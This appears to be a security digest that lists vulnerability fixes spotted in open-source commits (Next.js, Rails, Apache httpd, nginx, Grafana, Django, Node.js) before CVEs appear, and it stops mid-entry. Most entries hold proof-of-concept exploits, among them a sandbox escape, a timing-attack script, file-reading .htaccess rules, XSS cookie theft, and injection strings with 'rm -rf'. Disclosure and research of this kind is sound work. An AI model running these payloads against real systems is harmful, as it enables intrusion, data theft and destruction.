📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Sunday, June 14, 2026

📋 Today’s Briefing

223
Total Findings
57
Confirmed CVEs
113
Verified
0
Unverified
53
False Positives
CRITICAL: 1 HIGH: 90 MEDIUM: 67 LOW: 12
57 CVE matched
43 found before CVE
2 avg lead (days)
27 max lead (days)

BREAKING

💣 CRITICAL VERIFIED Sandbox Escape

Jun 12, 2026, 09:28 PM — vercel/next.js

Commit: 660026d50b77ccc9b119abf94894cd1cd4ff7fbf

Author: Janka Uryga

In Next.js edge runtime, the `setTimeout` and `setInterval` polyfills incorrectly used `globalThis` (the Node.js global object) instead of the sandboxed edge runtime context object when invoking callbacks via `.apply()`. This allowed malicious code running in the edge sandbox to access Node.js globals like `process.mainModule.require()` and escape the sandbox entirely, gaining access to the Node.js runtime including filesystem operations, arbitrary module loading, and other restricted APIs.

🔍 View Affected Code & PoC

Affected Code

function webSetTimeoutPolyfill(...) {
  return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}
function webSetIntervalPolyfill(...) {
  return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}

Proof of Concept

In an Edge Runtime route handler (e.g. app/route.ts with `export const runtime = 'edge'`):

export async function GET() {
  return new Promise((resolve) => {
    setTimeout(function() {
      // `this` is Node.js globalThis, not the sandbox global
      const fs = this.process.mainModule.require('fs')
      fs.writeFileSync('/tmp/pwned.txt', 'sandbox escaped!')
      resolve(new Response('escaped!'))
    })
  })
}

This writes a file to the server filesystem from within what should be an isolated edge sandbox, demonstrating full sandbox escape with access to Node.js internals.

🔥 HIGH VERIFIED Security Isolation Bypass / State Leakage

Jun 11, 2026, 04:05 PM — rails/rails

Commit: 8a55fbca4c653978cacb856784b386fe9ee8a27c

Author: Jean Boussier

In Rails applications using ActiveSupport::CurrentAttributes, declaring an attribute named `:attributes` causes the generated accessor to shadow the internal `attributes` writer that `reset` relies on. This means `reset` can no longer clear the per-request state stored in `@attributes`, causing sensitive data (user identity, account info, request context) to leak across requests. The patch replaces the hand-maintained denylist with a dynamically computed one that covers all internal methods.

🔍 View Affected Code & PoC

Affected Code

INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:

Proof of Concept

require 'active_support'
require 'active_support/current_attributes'

Current = Class.new(ActiveSupport::CurrentAttributes) do
  attribute :attributes  # shadows internal #attributes= used by reset
end

Current.instance.instance_variable_set(:@attributes, { attributes: { user_id: 42 } })
Current.reset
# After reset, @attributes is NOT cleared because the generated #attributes= shadowed the internal setter
puts Current.instance.instance_variable_get(:@attributes).inspect
# => {:attributes=>{:user_id=>42}}  -- sensitive data leaked to next request

🔥 HIGH VERIFIED State Isolation Bypass / Data Leakage Across Requests

Jun 11, 2026, 02:40 PM — rails/rails

Commit: 5e75351bf21f29d879a1cb184fb90ef259be5334

Author: Kenta Ishizaki

Declaring an attribute named `:attributes` in a subclass of `ActiveSupport::CurrentAttributes` shadows the internal `attributes` reader/writer that `reset` relies on to clear per-request state. This causes `reset` to stop clearing the state, leaking values across requests — exactly the isolation `CurrentAttributes` is designed to guarantee. The patch computes the invalid attribute names dynamically from the class's own methods, preventing any attribute declaration that would shadow internal methods.

🔍 View Affected Code & PoC

Affected Code

INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:

Proof of Concept

require 'active_support'
require 'active_support/current_attributes'

C = Class.new(ActiveSupport::CurrentAttributes) do
  attribute :attributes  # shadows internal @attributes accessor
end

C.attributes = { user_id: 42, admin: true }
puts C.attributes.inspect  # => { user_id: 42, admin: true }
C.reset
puts C.attributes.inspect  # => { user_id: 42, admin: true } (NOT cleared!)
# State leaks across requests because reset calls `self.attributes = defaults`
# but the generated accessor has overwritten the internal one.

🔥 HIGH VERIFIED Buffer Overflow (Off-by-One)

Jun 11, 2026, 11:38 AM — apache/httpd

Commit: 8e210c28a1dfd84a1e9c4fb8fd3d646619639dfd

Author: Joe Orton

An off-by-one error in the socket path truncation logic in cgid_init() caused a one-byte buffer overflow when writing the null terminator. Before the patch, `tmp_sockname\[sizeof(server_addr->sun_path)\]` wrote a null byte one position past the end of the `sun_path` field in the `sockaddr_un` structure, corrupting adjacent memory. The patch corrects this to `tmp_sockname\[sizeof(server_addr->sun_path) - 1\]`, which properly null-terminates within bounds.

🔍 View Affected Code & PoC

Affected Code

if (strlen(tmp_sockname) > sizeof(server_addr->sun_path) - 1) {
    tmp_sockname[sizeof(server_addr->sun_path)] = '\0';

Proof of Concept

Configure Apache httpd with mod_cgid and set ScriptSock to a path exactly equal to sizeof(sun_path) characters (typically 108 bytes on Linux). When cgid_init() processes this path, it detects it's too long and attempts truncation by writing a null byte at index sizeof(server_addr->sun_path) (e.g., index 108), which is one byte past the end of the sun_path array (valid indices 0-107). This overwrites the first byte of whatever field follows sun_path in the sockaddr_un structure or adjacent heap/stack memory. Example: set ScriptSock to a 108-character path like '/tmp/AAAA...AAAA' (108 A's) in httpd.conf - the null write at offset 108 corrupts memory adjacent to the sun_path buffer.

🔥 HIGH VERIFIED Heap Buffer Overflow

Jun 11, 2026, 11:38 AM — apache/httpd

Commit: 489f5ef688fedb0139b4428bc04d0e18493e430f

Author: Joe Orton

In mod_cgid.c, `temp_core` was allocated using `sizeof(core_module)` instead of `sizeof(core_request_config)`. Since `core_module` is a module descriptor struct (typically much smaller than `core_request_config`), this results in allocating too little memory for the `core_request_config` structure. Subsequent writes to fields of `temp_core` beyond the allocated size would corrupt adjacent heap memory, potentially leading to crashes or memory corruption exploitable for privilege escalation or code execution.

🔍 View Affected Code & PoC

Affected Code

temp_core = (core_request_config *)apr_palloc(r->pool, sizeof(core_module));

Proof of Concept

Send a CGI request via mod_cgid that triggers get_req() to process a request. The daemon allocates sizeof(core_module) bytes (e.g., ~80 bytes on 64-bit) for a core_request_config struct (which is much larger). When the code writes fields like body_indeterminate, use_default_accept_ranges, etc. into temp_core, it overflows into adjacent pool memory. A crafted request that causes extensive use of core_request_config fields post-allocation could corrupt heap metadata or adjacent allocations, potentially causing a crash (DoS) or exploitable memory corruption in the cgid daemon process.

🔥 HIGH VERIFIED Heap Buffer Overflow / Memory Corruption

Jun 11, 2026, 11:37 AM — apache/httpd

Commit: d7ac43a29f73ed60dcb322abad41a93a10394784

Author: Joe Orton

Before the patch, the `get_req` function in mod_cgid read environment variable lengths (`curlen`) from a Unix socket without validating the size before allocating and reading into a buffer. A malicious or compromised cgid daemon (or a process that hijacked the socket) could send an extremely large `curlen` value, causing `apr_pcalloc` to allocate a huge buffer or triggering integer issues, and then reading that many bytes from the socket into the allocated region. Additionally, `uri_len` and `args_len` had no upper bound checks, and `env_count` was signed allowing negative values to bypass the `env_count < 0` check in certain scenarios. The patch adds `ENV_COUNT_MAX` (256) bound on env_count, upper bounds on uri_len and args_len (APR_PATH_MAX), and per-variable length validation (`curlen > APR_PATH_MAX`) in the environment reading loop.

🔍 View Affected Code & PoC

Affected Code

if (req->env_count < 0 || req->uri_len == 0
        || req->filename_len > APR_PATH_MAX || req->filename_len == 0
        || req->argv0_len > APR_PATH_MAX || req->argv0_len == 0
        || req->loglevel > APLOG_TRACE8) {
        return APR_EINVAL;
    }

Proof of Concept

A malicious client connecting to the cgid Unix socket sends a crafted cgid_req_t with env_count=1, valid filename/argv0/uri lengths, then sends a single environment variable with curlen=0xFFFFFFFF (4GB). The server calls `apr_pcalloc(r->pool, 0xFFFFFFFF + 1)` which wraps to 0 or allocates a tiny buffer, then `sock_read(fd, environ[0], 0xFFFFFFFF)` reads ~4GB into that tiny allocation, causing heap corruption. Exploit: craft socket message with env var length field set to `\xff\xff\xff\xff` (or large value exceeding APR_PATH_MAX) to trigger heap overflow in the worker process.

⚠️ MEDIUM VERIFIED Timing Side-Channel / Hash Comparison Timing Attack

Jun 10, 2026, 08:10 PM — nginx/nginx

Commit: bedf18f95d76b93d15335dee8c642b86e6baeac2

Author: Sergey Kandaurov

The nginx secure_link module used early-exit byte-by-byte MD5 hash comparison (ngx_memcmp and individual byte checks), which leaks timing information about how many bytes of the hash match. An attacker can exploit response time differences to incrementally determine the correct hash value byte-by-byte, eventually forging valid secure links without knowing the secret key. The patch replaces the comparison with a constant-time XOR accumulation that always examines all 16 bytes before returning a result.

🔍 View Affected Code & PoC

Affected Code

if (ngx_memcmp(hash_buf, md5_buf, 16) != 0) {
    goto not_found;
}

Proof of Concept

# Timing attack to recover valid secure link hash without knowing secret:
# For each byte position i (0-15), try all 256 possible hex byte values.
# Measure response time for each candidate - the correct byte value
# will take measurably longer to reject (or accept) due to early-exit comparison.
#
# Example script:
import requests, time, statistics

target = 'http://example.com/s/TOKEN/resource'
# For old-style secure_link, hash is hex-encoded in URL path
# Attacker measures timing for partial matches:
for byte_val in range(256):
    candidate = f'{byte_val:02x}' + 'xx' * 15  # vary first byte
    times = []
    for _ in range(100):
        start = time.perf_counter()
        r = requests.get(f'http://example.com/s/{candidate}/file')
        times.append(time.perf_counter() - start)
    print(f'{byte_val:02x}: avg={statistics.mean(times):.6f}s')
# The byte value with the highest avg response time reveals the correct first byte.
# Repeat for each subsequent byte position to recover the full 32-hex-char hash.

🔥 HIGH VERIFIED Broken Access Control / Authorization Bypass

Jun 10, 2026, 08:06 AM — grafana/grafana

Commit: d4f2ee742b336ba3d550e5d84a273312fc8ca575

Author: Mihai Turdean

When Zanzana resolved permissions and mapped them back to legacy RBAC format, the scope was derived from the action prefix rather than the resource type. For sub-resource actions like `folders.permissions:read`, this produced `folders.permissions:uid:&lt;uid&gt;` instead of `folders:uid:&lt;uid&gt;`. Since legacy RBAC's `canAdmin` check evaluates `EvalPermission(folders.permissions:read, folders:uid:&lt;uid&gt;)`, the scope never matched and a user with admin rights on a folder could not manage that folder's permissions even though they were authorized to do so. The fix scopes objects by the resource type Zanzana listed them under, ensuring correct permission matching.

🔍 View Affected Code & PoC

Affected Code

func scopeFromAction(action, name string) string {
	parts := strings.SplitN(action, ":", 2)
	if parts[0] == "" {
		return name
	}
	return ac.Scope(parts[0], "uid", name)
}

Proof of Concept

1. Grant user Alice 'admin' on folder uid='folder-123' in Zanzana.
2. Zanzana maps this to permissions including action='folders.permissions:read' scoped on 'folders.permissions:uid:folder-123'.
3. Legacy RBAC canAdmin check evaluates: EvalPermission('folders.permissions:read', 'folders:uid:folder-123').
4. The scope 'folders.permissions:uid:folder-123' != 'folders:uid:folder-123', so the check FAILS.
5. Result: Alice cannot manage permissions on folder-123 despite having admin rights, AND conversely, if an attacker could craft a token referencing 'folders.permissions:uid:X', they might match unintended permission checks that also use that malformed scope prefix.

🔥 HIGH VERIFIED Path Traversal

Jun 9, 2026, 03:52 PM — django/django

Commit: 46c5e76f0bcc76bfce19ad7ba07f716fc653a822

Author: ar3ph

When Django's `startproject` or `startapp` command downloads a template archive from a URL, the Content-Disposition header's filename was used directly with `os.path.join()` to construct a path within a temp directory. An attacker-controlled server could return a filename like `/nonexistent/../../etc/passwd` or an absolute path, causing the file to be written outside the intended temporary directory. The fix replaces `os.path.join()` with `safe_join()`, which raises `SuspiciousFileOperation` if the resulting path escapes the base directory.

🔍 View Affected Code & PoC

Affected Code

guessed_path = os.path.join(tempdir, guessed_filename)

Proof of Concept

Set up a malicious HTTP server that responds to template download requests with: `Content-Disposition: attachment; filename="/tmp/evil_file.tgz"`. Then run: `django-admin startproject --template http://malicious-server/template.tgz myproject`. Before the patch, `os.path.join('/tmp/tmpXXX', '/tmp/evil_file.tgz')` returns `/tmp/evil_file.tgz` (absolute path wins), causing `shutil.move()` to write the archive to an attacker-specified path outside the temp directory, potentially overwriting arbitrary files writable by the user.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-35193 Cache Poisoning / Improper Cache Control Bypass

Jun 9, 2026, 02:56 PM — django/django

Patch landed 5 days 23 hours 26 minutes after CVE published

Commit: 142b881cecaddc334cabec139e701c0e4b9798da

Author: Jacob Walls

The UpdateCacheMiddleware used a substring check (`directive in cache_control`) to detect Cache-Control directives like 'private', 'no-cache', 'no-store', and 'public'. This meant that an extension directive like 'myprivate' or 'nopublic' would be falsely matched, causing responses that should be cached to not be cached, or causing Authorization-based Vary headers to be incorrectly omitted. More critically, the inverse case for 'public' means that a response with a custom directive containing 'public' as a substring would skip the Authorization vary header, potentially serving a user-specific cached response to other users. The fix replaces substring matching with exact token matching using `split_header_value`.

🔍 View Affected Code & PoC

Affected Code

if cache_control and any(
    directive in cache_control
    for directive in (
        "private",
        "no-cache",
        "no-store",
    )
):

Proof of Concept

# An attacker or misconfigured app sets a Cache-Control header with a custom directive
# containing 'public' as a substring, e.g., 'nopublic':
#
# Response headers: Cache-Control: nopublic
# Request has Authorization header
#
# Before patch: 'public' in 'nopublic' == True, so the Authorization Vary header
# is NOT added, meaning the response may be cached and served to other users
# without varying on the Authorization header.
#
# Concrete test:
import requests
# Craft response with Cache-Control: nopublic
# GET /sensitive-view/ with Authorization: token abc123
# Django caches response without Vary: Authorization
# Second request from different user also gets the first user's cached response

⚠️ MEDIUM VERIFIED Sensitive Data Exposure / Secret Redaction Bypass

Jun 8, 2026, 07:54 PM — grafana/grafana

Commit: d0fa74cf094dc2e32db9f3e0007f951850bee14e

Author: Khalil Haji

Before the patch, the contact point settings redaction logic used case-sensitive key matching when identifying secret fields to redact. An attacker or user with write access could submit secret field keys with non-canonical casing (e.g., 'INTEGRATIONKEY' instead of 'integrationKey') to bypass redaction, causing the plaintext secret to be returned in API responses instead of being redacted. The patch makes the field extraction and redaction logic case-insensitive so secrets are properly identified and redacted regardless of key casing.

🔍 View Affected Code & PoC

Affected Code

func extractField(settings map[string]any, path schema.IntegrationFieldPath) (string, bool, error) {
	val, ok := settings[path.Head()]
	if !ok {
		return "", false, nil
	}

Proof of Concept

POST /api/v1/provisioning/contact-points with body: {"name": "test", "type": "pagerduty", "settings": {"INTEGRATIONKEY": "my-secret-key", "severity": "critical"}}. When subsequently GET /api/v1/provisioning/contact-points is called, the response would include {"settings": {"INTEGRATIONKEY": "my-secret-key"}} in plaintext instead of redacting it, because the redaction logic only matched the canonical key name 'integrationKey' (exact case) and failed to match 'INTEGRATIONKEY'.

🔥 HIGH VERIFIED Memory Accounting Bypass / Denial of Service

Jun 8, 2026, 11:53 AM — nodejs/node

Commit: ba82a4124a597908c1dbbf1819628c04bad4ca06

Author: Matteo Collina

Before this patch, when HTTP/2 header blocks were handed off to JavaScript (via HandleHeadersFrame), the memory they occupied was immediately decremented from the session's memory accounting (maxSessionMemory), even though the JS objects could still hold references to that header data for the lifetime of the stream. This meant an attacker could send many requests with large headers, and once the headers were dispatched to JS, that memory would no longer count against the session limit, allowing effectively unlimited memory consumption. The patch fixes this by retaining the header memory charge until the stream is removed from the session.

🔍 View Affected Code & PoC

Affected Code

DecrementCurrentSessionMemory(stream->current_headers_length_);
stream->current_headers_length_ = 0;

Proof of Concept

Connect to a Node.js HTTP/2 server with maxSessionMemory=1 (1MB limit), set initialWindowSize=0 (to stall DATA frames and keep streams alive), then send hundreds of requests each with large cookie headers (e.g., 120 'cookie: a=1' headers). Before the patch, each request's headers are decremented from session memory immediately after being dispatched to JS, so the server never rejects new streams with ENHANCE_YOUR_CALM despite exceeding the memory limit. This allows an attacker to consume unbounded server memory, causing OOM. The test added in this commit (test-http2-max-session-memory-stalled-headers.js) demonstrates the exploit: 400 requests with 120 cookie headers each, with window size 0 to keep streams stalled — before the patch, rejected would remain 0 and memory would grow unboundedly.

🔥 HIGH VERIFIED Cross-Site Scripting (XSS)

Jun 8, 2026, 09:50 AM — grafana/grafana

Commit: 512eb3fc36f289016f9c4c1f20779976e73d70f8

Author: Alex Khomenko

The LinkButton component in @grafana/ui rendered an &lt;a&gt; element with the href prop passed directly without sanitization. An attacker could inject a javascript: URL as the href value, which would execute arbitrary JavaScript when a user clicked the link. The patch extracts href from the spread props, sanitizes it via textUtil.sanitizeUrl (which neutralizes dangerous schemes like javascript:, data:, and vbscript: to about:blank), and places the sanitized value after {...otherProps} so it always wins.

🔍 View Affected Code & PoC

Affected Code

<a
  className={linkButtonStyles}
  {...otherProps}
  tabIndex={disabled ? -1 : 0}
  aria-disabled={disabled}
  ref={tooltip ? undefined : ref}

Proof of Concept

Render <LinkButton href="javascript:alert(document.cookie)">Click me</LinkButton> — before the patch, clicking the rendered anchor would execute alert(document.cookie) in the browser context. Any Grafana plugin or dashboard component that passes user-controlled or backend-sourced URLs to LinkButton is vulnerable to this XSS vector.

⚠️ MEDIUM VERIFIED Information Disclosure / Path Traversal via File Functions

Jun 5, 2026, 10:27 AM — apache/httpd

Commit: 0bc2ece957a4461978a5ff14f24182a3be05eed9

Author: Eric Covener

In .htaccess (per-directory) context, modules like mod_rewrite, mod_setenvif, and mod_proxy_fcgi allowed use of file-reading expression functions (file(), filesize(), filemod()) and file-test operators (-d, -e, -f, -s, -L, -h, -x) without restriction. An attacker who could place or modify an .htaccess file could use these functions to read arbitrary filesystem content (e.g., file('/etc/passwd')) or probe file existence/properties outside the web root. The patch centralizes the restriction by applying AP_EXPR_FLAG_RESTRICTED_FILE_FUNC in ap_expr_parse_cmd_mi() whenever the context is htaccess (cmd-&gt;pool == cmd-&gt;temp_pool), blocking these filesystem-exposing functions.

🔍 View Affected Code & PoC

Affected Code

/* Use restricted ap_expr() parser in htaccess context. */
if (cmd->pool == cmd->temp_pool) {
    flags |= AP_EXPR_FLAG_RESTRICTED;
}

Proof of Concept

Place the following in an .htaccess file in any directory the attacker controls on the server:

  RewriteEngine On
  RewriteCond "%{file:/etc/passwd}" "root"
  RewriteRule ^ /leaked [R=200,L]

Or in mod_setenvif context:
  SetEnvIfExpr "%{file:/etc/shadow}" =~ /root/ SHADOW_LEAKED=1

Before the patch, these expressions would be evaluated without restriction in .htaccess context, allowing the contents of arbitrary files to be read and used in conditional logic, effectively leaking filesystem contents via HTTP response behavior.

⚠️ MEDIUM VERIFIED Denial of Service / Excessive Memory Allocation

Jun 5, 2026, 10:17 AM — apache/httpd

Commit: 52cb79b19e110bdd42bffc696844f801fb3c4a2d

Author: Eric Covener

In `ap_regname`, the capture group index was read from the PCRE name table without bounds checking. A regex with a very large capture group number (up to 65535, as PCRE allows) would cause `apr_array_push` to be called in a tight loop up to 65535 times, allocating excessive memory. The patch adds a sanity check limiting capture group indices to 1024, returning -1 for unreasonably large values, and callers now propagate this as a configuration error.

🔍 View Affected Code & PoC

Affected Code

int capture = ((offset[0] << 8) + offset[1]);
while (names->nelts <= capture) {
    apr_array_push(names);
}

Proof of Concept

In an Apache httpd configuration file, use a <Directory> or <Location> block with a regex containing a large named capture group number. Because PCRE internally numbers named groups, a specially crafted regex (e.g., using (?P<name>...) nested deeply or via a compiled regex where the name table entry encodes a large index like 0xFF 0xFF) could encode capture=65535, causing the loop `while (names->nelts <= 65535) apr_array_push(names);` to allocate ~65535 array entries. Example: compile a regex externally where the nametable entry has bytes [0xFF, 0xFF, 'n', 'a', 'm', 'e', 0], then use it in a ProxyMatch/DirectoryMatch directive to trigger OOM during server startup/config parsing.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-42535 Path Traversal / Unauthorized Access to DAV State Directory

Jun 5, 2026, 10:09 AM — apache/httpd

📈 Patch landed 3 days 8 hours 22 minutes before CVE published

Commit: 7e871beec56d41fe098f48f5a5bcb1525c448d77

Author: Eric Covener

Before this patch, the DAV filesystem repository handler (dav_fs_get_resource) had no check preventing WebDAV clients from directly accessing or manipulating the internal DAV state directory (DAV_FS_STATE_DIR, typically '.DAV'). This directory contains lock database files and other internal state. An attacker could use WebDAV methods (GET, PUT, DELETE, PROPFIND, etc.) to read, modify, or delete these internal state files, potentially corrupting the lock database, bypassing WebDAV locks, or leaking sensitive server-side state. The patch adds an explicit check that denies access when the requested path's filename or parent directory name matches DAV_FS_STATE_DIR.

🔍 View Affected Code & PoC

Affected Code

ctx->pathname = s;

    /* Create resource descriptor */

Proof of Concept

# Attacker directly accesses the DAV state directory to read or modify lock database:
curl -X PROPFIND http://victim/webdav/.DAV/ -H 'Depth: 1'
# Or to read the lock database file:
curl http://victim/webdav/.DAV/DAVLock
# Or to delete the lock database, bypassing all existing WebDAV locks:
curl -X DELETE http://victim/webdav/.DAV/DAVLock
# Or to access a resource inside the state dir:
curl -X GET http://victim/webdav/subdir/.DAV/DAVLock

⚠️ MEDIUM VERIFIED Integer Overflow

Jun 5, 2026, 09:36 AM — apache/httpd

Commit: 541dc008b38079dc71ef663d4dc9f272a71ce50c

Author: Joe Orton

The code before the patch contained integer overflow vulnerabilities in bounds checking for line length validation in mod_substitute. When checking `vb.strlen + len + replen &gt; cfg-&gt;max_line_length`, if the sum of these apr_size_t values overflowed, the comparison would yield a false result, allowing the write to proceed even when the combined length exceeded the max_line_length limit. The patch fixes this by restructuring the comparisons to avoid overflow: checking each addend individually against the remaining space.

🔍 View Affected Code & PoC

Affected Code

if (vb.strlen + len + replen > cfg->max_line_length)
    return APR_ENOMEM;
...
if (space_left < len + replen)
    return APR_ENOMEM;

Proof of Concept

Configure Apache with mod_substitute and a Substitute directive. Send a response body where the pattern matches repeatedly, such that the replacement accumulates. Craft a scenario where vb.strlen is near SIZE_MAX and len + replen wraps around to a small value: e.g., vb.strlen = 0xFFFFFFFFFFFFFF00, len = 0x80, replen = 0x80 -> sum overflows to a small value < max_line_length, bypassing the check. In practice, exploit by crafting content that triggers many substitutions causing the internal varbuf to grow beyond max_line_length, potentially leading to excessive memory allocation / denial of service.

⚠️ MEDIUM VERIFIED Denial of Service (Resource Exhaustion)

Jun 5, 2026, 09:27 AM — nodejs/node

Commit: d3a822a947d67324aaf16f04146ea40d4950bfcd

Author: semimikoh

Before the patch, `closeIdleConnections()` only considered connections with `last_message_start_ == 0` as idle, meaning connections that had been established but hadn't yet sent any data (pre-request phase) were not included. An attacker could establish many TCP connections without sending any HTTP data, keeping them open and preventing the server from closing them via `closeIdleConnections()`, leading to resource exhaustion. The patch adds a `received_data_` flag so connections that have not yet sent data are also treated as idle and properly closed.

🔍 View Affected Code & PoC

Affected Code

if (parser->last_message_start_ == 0) {
  result.emplace_back(parser->object());
}

Proof of Concept

// Attacker opens many TCP connections to the HTTP server without sending data
const net = require('net');
const sockets = [];
for (let i = 0; i < 1000; i++) {
  const s = net.createConnection(port, '127.0.0.1');
  sockets.push(s);
}
// Server operator calls server.closeIdleConnections() expecting all idle sockets to be closed
// Before patch: none of these sockets are closed because last_message_start_ is not 0 yet
// (it gets set when the parser is assigned to the connections list, but received_data_ tracks whether data arrived)
// Result: sockets remain open, consuming server resources indefinitely
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-29170 Cross-Site Scripting (XSS)

Jun 4, 2026, 03:48 PM — apache/httpd

📈 Patch landed 4 days 2 hours 43 minutes before CVE published

Commit: e86bf540f166b3a322f7e7f9cd4aad4cd44deee6

Author: Joe Orton

The FTP proxy directory listing code used `ap_escape_uri()` for href attributes in generated HTML links. `ap_escape_uri()` does not escape HTML special characters like `&lt;`, `&gt;`, `"`, and `&`, so a malicious FTP server could return filenames containing HTML/JavaScript that would be injected unescaped into the href attribute of generated links. The fix replaces `ap_escape_uri()` with `ap_os_escape_path()` (for path encoding) wrapped in `ap_escape_html()` (for HTML entity encoding), properly neutralizing any HTML-special characters in filenames.

🔍 View Affected Code & PoC

Affected Code

str = apr_psprintf(p, "%s <a href=\"%s\">%s %s</a>\n",
                           ap_escape_html(p, ctx->buffer),
                           ap_escape_uri(p, filename),
                           ap_escape_html(p, filename),
                           ap_escape_html(p, link_ptr));

Proof of Concept

A malicious FTP server returns a directory listing with a filename like: `"><script>alert(document.cookie)</script><a href="x`

When the proxy generates the HTML listing, `ap_escape_uri()` would not escape the `"` or `<>` characters in the filename, producing:
`<a href=""><script>alert(document.cookie)</script><a href="x">` 
This executes arbitrary JavaScript in the browser of any user viewing the FTP directory listing through the Apache proxy.

🔥 HIGH VERIFIED Command Injection

Jun 4, 2026, 07:52 AM — apache/httpd

Commit: 85d1cb9a337d90884c07549093cf5381d86f3316

Author: Joe Orton

The ctauditscts script constructed a shell command string by interpolating unsanitized values (specifically tmp_leaf_pem\[1\] filename and timestamp_ms, and potentially log_url from the database) directly into a string passed to os.system(). An attacker who could control the temporary file path or log_url value (e.g., via a malicious log URL in the SQLite database containing shell metacharacters) could inject arbitrary shell commands. The fix replaces os.system() with subprocess.call() using a list of arguments, which bypasses the shell entirely and prevents command injection.

🔍 View Affected Code & PoC

Affected Code

cmd = 'verify_single_proof.py --cert %s --timestamp %s %s' % \
      (tmp_leaf_pem[1], timestamp_ms, log_url_arg)
print '>%s<' % cmd
os.system(cmd)

Proof of Concept

If an attacker can insert a malicious log_url into the loginfo SQLite database (e.g., via a compromised CT log or database manipulation), they could set log_url to: 'example.com/log; rm -rf /tmp; echo pwned'. This would result in log_url_arg = '--log_url example.com/log; rm -rf /tmp; echo pwned', and the constructed cmd string passed to os.system() would execute the injected shell commands. Alternatively, if the audit file path contains shell metacharacters (e.g., a filename like '/tmp/audit$(whoami).bin'), the os.system() call would execute embedded commands.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-6873 Cookie Forgery / Signed Cookie Namespace Collision

Jun 3, 2026, 04:12 PM — django/django

Patch landed 42 minutes after CVE published

Commit: 3328078a01f5268f9b8659f56fd28c5a2ed083dc

Author: Jacob Walls

Django's signed cookie salt derivation historically used `cookie_name + salt` (concatenation), which is ambiguous: a cookie named 'a' with salt 'bc' produces the same salt string as a cookie named 'ab' with salt 'c'. This means a valid signed cookie for one (name, salt) pair could be submitted as a valid cookie for a different (name, salt) pair, allowing an attacker to reuse a legitimately obtained signed cookie value in an unintended context. The patch changes the default of SIGNED_COOKIE_LEGACY_SALT_FALLBACK from True to False, so Django now only accepts cookies signed with the unambiguous new salt derivation by default.

🔍 View Affected Code & PoC

Affected Code

SIGNED_COOKIE_LEGACY_SALT_FALLBACK = True

Proof of Concept

# With SIGNED_COOKIE_LEGACY_SALT_FALLBACK=True (old default), an attacker can exploit namespace collision:
# 1. Obtain a legitimately signed cookie for cookie name='a', salt='bc' containing value 'hello'
import django.core.signing as signing
from django.http import HttpRequest

# Simulate legitimate signed value for cookie 'a' with salt 'bc'
# Legacy salt = 'a' + 'bc' = 'abc'
legacy_signer = signing.get_cookie_signer(salt='abc')  # old: cookie_name+salt
signed_value = legacy_signer.sign('hello')

# Attacker submits this value as cookie 'ab' with salt 'c'
# Legacy salt = 'ab' + 'c' = 'abc'  <- same!
request = HttpRequest()
request.COOKIES['ab'] = signed_value
# With SIGNED_COOKIE_LEGACY_SALT_FALLBACK=True, this succeeds:
result = request.get_signed_cookie('ab', salt='c')  # returns 'hello' - cookie accepted in wrong context!
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-6873 Signed Cookie Salt Namespace Collision

Jun 3, 2026, 11:37 AM — django/django

📈 Patch landed 3 hours 53 minutes before CVE published

Commit: 70d36515b9cc71700105a14b275583070d48b689

Author: Paul McMillan

Django's get_signed_cookie derived its signing salt by concatenating the cookie name (key) and salt arguments using simple string concatenation: `key + salt`. This meant that distinct (name, salt) pairs that produce the same concatenated string (e.g., name='ab', salt='c' and name='a', salt='bc') would use the same signing namespace, allowing a signed cookie created for one context to be accepted in another. The patch fixes this by using an injective encoding that includes the salt length as a prefix, making it impossible for different (name, salt) pairs to collide.

🔍 View Affected Code & PoC

Affected Code

value = signing.get_cookie_signer(salt=key + salt).sign(value)
# and
value = signing.get_cookie_signer(salt=key + salt).unsign(cookie_value, max_age=max_age)

Proof of Concept

# Server sets a cookie for key='a' with salt='bc':
response.set_signed_cookie('a', 'secret_value', salt='bc')
# This signs with salt = 'a' + 'bc' = 'abc'

# Attacker takes the signed value from cookie 'a' and submits it as cookie 'ab':
request.COOKIES['ab'] = response.cookies['a'].value

# Server reads cookie 'ab' with salt='c':
# This also uses salt = 'ab' + 'c' = 'abc' -- same namespace!
value = request.get_signed_cookie('ab', salt='c')
# Returns 'secret_value' -- cookie accepted in wrong context
# Demonstrated in the test: test_legacy_salt_namespace_is_accepted_by_default
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-7666 Cleartext Transmission of Sensitive Information

Jun 3, 2026, 11:37 AM — django/django

📈 Patch landed 3 hours 53 minutes before CVE published

Commit: df887f50198593a0e5b4638bfddbbd43a30fd276

Author: Jake Howard

When using EMAIL_USE_TLS with fail_silently=True, a failed STARTTLS handshake would leave self.connection set to a partially-initialized SMTP connection that had not completed TLS negotiation. Subsequent email sends would reuse this unencrypted connection, transmitting emails (including credentials and content) in plaintext. The patch fixes this by only setting self.connection after all configuration steps (STARTTLS and login) succeed, using a temporary self._partial_connection during setup.

🔍 View Affected Code & PoC

Affected Code

self.connection = self.connection_class(
    self.host, self.port, **connection_params
)
if not self.use_ssl and self.use_tls:
    self.connection.starttls(context=self.ssl_context)
if self.username and self.password:
    self.connection.login(self.username, self.password)

Proof of Concept

import django
from django.core.mail.backends.smtp import EmailBackend
from unittest import mock

# Simulate a server that accepts connection but fails STARTTLS
# with fail_silently=True (as used by send_mail by default)
backend = EmailBackend(
    host='mail.example.com', port=25, use_tls=True,
    fail_silently=True, alias='test'
)

with mock.patch('smtplib.SMTP.starttls', side_effect=Exception('STARTTLS failed')):
    backend.open()  # Fails silently, but BEFORE patch: self.connection is set to unencrypted socket

# Before patch: backend.connection is not None (unencrypted connection)
# Subsequent send_messages() calls would send email over plaintext SMTP
print(backend.connection)  # Not None before patch - email sent unencrypted
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-8404 Cache Misconfiguration / Sensitive Data Exposure

Jun 3, 2026, 11:37 AM — django/django

